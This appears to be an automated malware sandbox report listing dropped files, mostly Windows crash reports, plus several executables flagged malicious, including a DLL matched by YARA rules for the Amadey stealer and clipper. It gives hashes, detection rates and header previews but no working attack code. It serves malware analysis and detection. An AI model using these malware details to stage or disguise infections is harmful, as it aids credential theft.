Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.7.9.6.3.7.8.2.4.1.4.1.8.1.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.7.9.6.3.7.8.3.1.5.0.1.9.5.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.d.0.c.8.6.3.6.-.0.f.c.2.-.4.0.0.1.-.8.8.f.0.-.8.7.4.6.6.4.e.3.5.b.a.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.1.0.6.c.d.6.e.-.1.c.b.b.-.4.4.d.b.-.8.7.2.b.-.6.e.1.5.2.0.6.e.d.e.f.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.P.G.P.H.1.3.1...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.w.p.a...d.l.l.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.f.a.c.-.0.0.0.1.-.0.0.1.4.-.7.f.8.b.-.8.c.0.2.f.9.9.1.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.3.f.8.9.e.b.f.a.e.e.9.5.3.f.9.e.3.a.f.4.1.a.f.b.b.f.2.6.5.b.b.0.0.0.0.0.9.0.4.!.0.0.0.0.4.5.9.0.2.f.3.4.6.9.c.c.e.6.7.c.d.2.1.f.5.9.0.4.e.8.7.b.d.7.9.a.1.0.5.c.9.d.d.5.!.M.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MPGPH131.exe_e7f941c137a56bc35a442066886260e392eebb0_71691813_7c03d346-bca5-4ef7-ba13-0d329aabc53b\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.066097890821137
Encrypted:	false
SSDEEP:	192:TwVl6q+z283d/005DDP6E6jjbdnZrxLZOzuiFmZ24IO8d6t:Mf62Cds05DD2jXOzuiFmY4IO8q
MD5:	ACD23DC53CDE78D410336A814F0A455A
SHA1:	15357AACFB2056AC09F87ADF48EC1708C7627920
SHA-256:	95C7B3A3E60720C8DF69D82B6A57191CA3483E6249C060585E84D4C4C21A250E
SHA-512:	E9B4485CA4D83A06ECD244D6C68C9B7B44BB4F3606C77EB686ECC23864BCB54C6E8FE88E30194B017D8E1C7B9FA3E03E610571E61F4396BF0F5230150F47AF42
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.7.9.6.3.7.8.3.2.1.8.9.1.9.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.7.9.6.3.7.8.3.8.8.7.5.5.2.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.c.0.3.d.3.4.6.-.b.c.a.5.-.4.e.f.7.-.b.a.1.3.-.0.d.3.2.9.a.a.b.c.5.3.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.4.c.f.7.6.d.8.-.4.9.0.5.-.4.d.a.1.-.a.4.8.a.-.9.3.8.2.1.f.2.e.e.b.6.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.P.G.P.H.1.3.1...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.w.p.a...d.l.l.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.6.c.-.0.0.0.1.-.0.0.1.4.-.2.a.5.3.-.a.1.0.2.f.9.9.1.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.3.f.8.9.e.b.f.a.e.e.9.5.3.f.9.e.3.a.f.4.1.a.f.b.b.f.2.6.5.b.b.0.0.0.0.0.9.0.4.!.0.0.0.0.4.5.9.0.2.f.3.4.6.9.c.c.e.6.7.c.d.2.1.f.5.9.0.4.e.8.7.b.d.7.9.a.1.0.5.c.9.d.d.5.!.M.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_c884f8452a.exe_cb7c7044b12ad4d5eac6ccbe687b5b5249d82ef_d12a3eaf_f8b9a4f9-955c-458d-a5da-73d12567bae0\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.082373971605741
Encrypted:	false
SSDEEP:	192:kfBSgpaa3/s20/BC40IjL67Zr96nIzuiFmZ24IO8cE:rQ3Ud/BCEjJIzuiFmY4IO8d
MD5:	772644EE1E22A1D3A602AC993D1FCCA4
SHA1:	0394FC1F49FAECDDDBC87FA3C59E5C9092C11F2D
SHA-256:	DA0A1D9B35F17CB9D254AFA7D508DBB9C3B0B7DC5CCACC2DC4D6B98DDF41C9BB
SHA-512:	348A62AAED88A035CF397ABBC210D4CD4ECB9C9958F92BA06308DC6CD30D4332573EEE1945C703E1867F6273D84E5DC869B066F40A2DDB9636A014BA8383245D
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.7.9.6.3.7.7.6.5.6.0.8.8.9.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.7.9.6.3.7.7.7.6.6.0.1.7.4.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.8.b.9.a.4.f.9.-.9.5.5.c.-.4.5.8.d.-.a.5.d.a.-.7.3.d.1.2.5.6.7.b.a.e.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.2.5.f.9.f.5.8.-.8.3.7.7.-.4.7.9.1.-.9.d.0.8.-.3.1.d.0.d.2.4.5.4.1.f.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.c.8.8.4.f.8.4.5.2.a...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.w.p.a...d.l.l.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.d.c.-.0.0.0.1.-.0.0.1.4.-.8.5.5.6.-.5.4.0.0.f.9.9.1.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.3.f.8.9.e.b.f.a.e.e.9.5.3.f.9.e.3.a.f.4.1.a.f.b.b.f.2.6.5.b.b.0.0.0.0.0.9.0.4.!.0.0.0.0.4.5.9.0.2.f.3.4.6.9.c.c.e.6.7.c.d.2.1.f.5.9.0.4.e.8.7.b.d.7.9.a.1.0.5.c.9.d.d.5.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4E2.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Apr 19 01:29:42 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	264092
Entropy (8bit):	1.4863952950372878
Encrypted:	false
SSDEEP:	768:FF8biQW/VuW5vv5fxukkg/YMwf0CLEm2:F0G/VhH5peOgLv2
MD5:	C61D022BE478E360B5607B58735EE4AE
SHA1:	4643BF68A12F45A59D1F3E7CB3226842865091E5
SHA-256:	D42A5DAB6CA32518181025C0706DA405A1224616C60CF5F9D87E5A18BE0179FB
SHA-512:	684A6BE3F408429E9EE408DAAA69251326C6031E08AF1DF72DECF8C0F16DF59AAEEE0D7CAA2E8485A51F930ECDA27AD38BFDF37A2D3DD1DA21FD607B121EDD3A
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... .........!f............d...........p...x.......l....(......................`.......8...........T............Q..............T)..........@+..............................................................................eJ.......+......GenuineIntel............T.............!f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER60C.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6358
Entropy (8bit):	3.7290027711910176
Encrypted:	false
SSDEEP:	192:R6l7wVeJ+un6zYiZFJjmR8prP89b2Psf4Sm:R6lXJX6zY6FJjmP20fc
MD5:	F86338A08F8EECA3C7E49052669FF89B
SHA1:	5BED5569AA3B1CADE11B0261A88CB5BCC1E5EA4B
SHA-256:	38F5685864B4C610A028A457F573C5504E73FEB0E5C85C4EDA5FB2384F8757B2
SHA-512:	993AA410BE86B82292DC20F516AFC32F8C6E2D5B25342C4A3EB99E97F7073691C14D03E45E8F7372E6ABDE3D759BA9939B4D928A2B44C835BA01BFC7F63D49E9
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.0.1.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER63C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4690
Entropy (8bit):	4.512732406719088
Encrypted:	false
SSDEEP:	48:cvIwWl8zsuJg77aI9VyWpW8VYTYm8M4JBLF9j+q8cz5DmbDCkvsJd:uIjfkI7bT7VDJ9jb5DmbDCdJd
MD5:	31751BB67D89613E8C2E17EC52D3867B
SHA1:	BC5953A38DB732F36639DD52886E2FCBD1762BD9
SHA-256:	82EF089CDDDC1E350BC77795BE18F5F9F585232563AA52DFA26092F63F06E197
SHA-512:	BBD24B02A853825CFC993A143DB721DD399995DF91872A719CE184113D7EDFCCCD0645AE34F457DCF16CCCAFA30DE0804E276CE1B4B1ECACCB093BDE7C351B42
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="286112" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7FF.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Apr 19 01:29:43 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	254816
Entropy (8bit):	1.4894529367935254
Encrypted:	false
SSDEEP:	768:ScwlDEhK5vkTKjNiX9B4ZeqxMnHGDqSHkMDs:ScwNb8me9V8HX
MD5:	AEE60E775C99BB4B6F40F87D39866F18
SHA1:	D02FD24825B08483005E3C7F6C78F70C4730B31F
SHA-256:	0D2FBE26E8880755AE91960998795CAA42CE552BF103E888677E09C5151E7B60
SHA-512:	77FE8FA59102E5C772183837F1B0F8577B7E87FAF70FF78A42D676EE7A37B39067EC5AC2C4D6227BFE7517F0D0498960E4EE8301718C962127D9E18FEB89E613
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... .........!f............4...............H.......l...L(..........$...........`.......8...........T............O..x............(...........*..............................................................................eJ......<+......GenuineIntel............T.......l.....!f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER938.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6358
Entropy (8bit):	3.729585051451638
Encrypted:	false
SSDEEP:	192:R6l7wVeJLuA6EjXYiZFJjmR8pr/89b/gsfCVm:R6lXJt6EjXY6FJjm//zfJ
MD5:	D3627EB2DC6C3B88DF4CE27B87B7DA46
SHA1:	3FDAC4CFDAE12DB90DB80E35ECC2F6222BBCE066
SHA-256:	DC65FA7A40339E8E3C51C9937E90FFDD93E09125E6A36A5E9952B7ECD9770EB1
SHA-512:	DA4B820008D3BFBAABFAB9F70D43758BCED1105DFEEED008711C86C6BFD05E8804A9A2EA8317920587239AF817358501154C4A03EFC5CB67EC24C11390F59902
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.4.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER968.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4690
Entropy (8bit):	4.511842143439859
Encrypted:	false
SSDEEP:	48:cvIwWl8zsuJg77aI9VyWpW8VYNYm8M4JBLF2hm+q8cH5DmbDCkvsZd:uIjfkI7bT7V9Jzv5DmbDCdZd
MD5:	F89B4F017D0BFB1B6ECACB3E7C4D68F6
SHA1:	19AE9B439DBA46CDD860F4F453580B35115D8FA5
SHA-256:	87BA71E43ECA1F7629E70BCB9AD6E6E7CD6502BFA40EF5A0315117D4A5A51250
SHA-512:	7E796158B71FD385635175C2F9110B1766493BD8F2D0DAF5E06F46F5417080517826777E017B2D7A2EC1CE4C147649F61F7CB6B1319FFF95C1383A14F73FDEB0
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="286112" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREE0E.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Apr 19 01:29:36 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	266884
Entropy (8bit):	1.4889833278100257
Encrypted:	false
SSDEEP:	768:T12XNVW5vvOq101AllmmaiCCHQ7jztajt5ZCU2iaNrYG5vv:xc8nOq106517wvYDJ2iQZv
MD5:	C3A1D4200E5269989E303E3F46089F3F
SHA1:	B3D40A540F614E123069741CB47DAFA7966D97C0
SHA-256:	4D4AF580794844CFE58F70ED7A90F65F64E3EE9B859653137E346C721093A4B9
SHA-512:	4547AEB383FCB7471E81A04FAF1B4DE59802BE7242A41939AC5618FFC665036F15D0D51C36EBCA2FAC98B5A42D41ACFEDCD75D6152A7105DEA2D9FE06C0385E6
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... .........!f............d...........p...x.......l....(......................`.......8...........T............R..............T)..........@+..............................................................................eJ.......+......GenuineIntel............T.............!f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF023.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8382
Entropy (8bit):	3.7059350021791615
Encrypted:	false
SSDEEP:	192:R6l7wVeJVHs6LK26Y5ut6fgmfhBJjDprR389b83sfmI0m:R6lXJ26LK26Y5c6fgmfnJjfo88fV
MD5:	C1588EEB34F98D59CC26819C1A70C4A4
SHA1:	1C7EC11F3174883261F00A45B57D391E2B394B9A
SHA-256:	51EEEC463F6BC2AF7786799D508EEA30BD064E26EA6D5239DD4F481627E7030F
SHA-512:	66C0AF661049A85A7376CD3252F86E3CF992664C7D20BD11F91125F3F231CC8255802421839E0FF7DECD68D6C924A62FFFD2813271861665F8C42AD8097C5759
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.5.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF0A1.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4700
Entropy (8bit):	4.504627594026872
Encrypted:	false
SSDEEP:	48:cvIwWl8zsuJg77aI9VyWpW8VYGYm8M4JOStGF3W+q83Zd5Dmb9zCkszrd:uIjfkI7bT7VGJ+WS5DmblCDrd
MD5:	879A419618F8560C1CB0958D70BCEE61
SHA1:	8053FB7850E96040FD7A6FE38766E38D2230AE90
SHA-256:	EA3EC92A484AA855CE3B7645F5A0E64162B043D8AE8523B6E4A314F0EB32688A
SHA-512:	043EBC6AD7738E2E993AEAA2105BEA512C943C16A95B9A511DB60F544964C451E6156C9C4E00EB17E8CAE582D5290297752A847D1BA29031A95D7EDC580AFC6B
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="286112" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112128
Entropy (8bit):	6.400356358225577
Encrypted:	false
SSDEEP:	3072:D4uSD+ZwruS0bGYuZRtasSVh/QEIegRQod4l:kuTiabruZR8JSlD4l
MD5:	154C3F1334DD435F562672F2664FEA6B
SHA1:	51DD25E2BA98B8546DE163B8F26E2972A90C2C79
SHA-256:	5F431129F97F3D56929F1E5584819E091BD6C854D7E18503074737FC6D79E33F
SHA-512:	1BCA69BBCDB7ECD418769E9D4BEFC458F9F8E3CEE81FEB7316BB61E189E2904F4431E4CC7D291E179A5DEC441B959D428D8E433F579036F763BBAD6460222841
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 96% Antivirus: Virustotal, Detection: 82%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L......e...........!.....$...........f.......@............................................@......................... ...........P.......................................8...........................(...@............@..L............................text...6#.......$.................. ..`.rdata..4i...@...j...(..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1166336
Entropy (8bit):	7.035580812234568
Encrypted:	false
SSDEEP:	24576:dqDEvCTbMWu7rQYlBQcBiT6rprG8au92+b+HdiJUX:dTvC/MTQYxsWR7au92+b+HoJU
MD5:	FB666C3917F960FD67DF0C2C8829D77F
SHA1:	028913A79AEC041DCE33A9A9EEEFE9BAAF6624F2
SHA-256:	726B25FA91F7D312C60B8673B382880E6DA2FDB03EF452BB907E22F349016028
SHA-512:	0500E7D211A3103DAC3C7E2D59307BEE69B5D3A05CD6E74CAD008DAFDA4C0DFDCE183912BEF02C818CA2658480987607736EA0214B15ECC6589A1D0F121E0BC6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 33%, Browse
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....!f..........".................w.............@..........................0............@...@.......@.....................d...\|....@..\|a.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...\|a...@...b..................@..@.reloc...u.......v...V..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	97792
Entropy (8bit):	5.961363779095596
Encrypted:	false
SSDEEP:	1536:iqsiPqBezlbG6jejoigIk43Ywzi0Zb78ivombfexv0ujXyyed2TteulgS6p4:AEmeZYk+zi0ZbYe1g0ujyzdX4
MD5:	4CFD179519524269052023E10DE6B866
SHA1:	1E92BA2322E341B979D53422CF0E044C4F3B1846
SHA-256:	A24A85156CE1A077403B4FFFE4C4E1C592DF412D6495FBA921771C59456B43AF
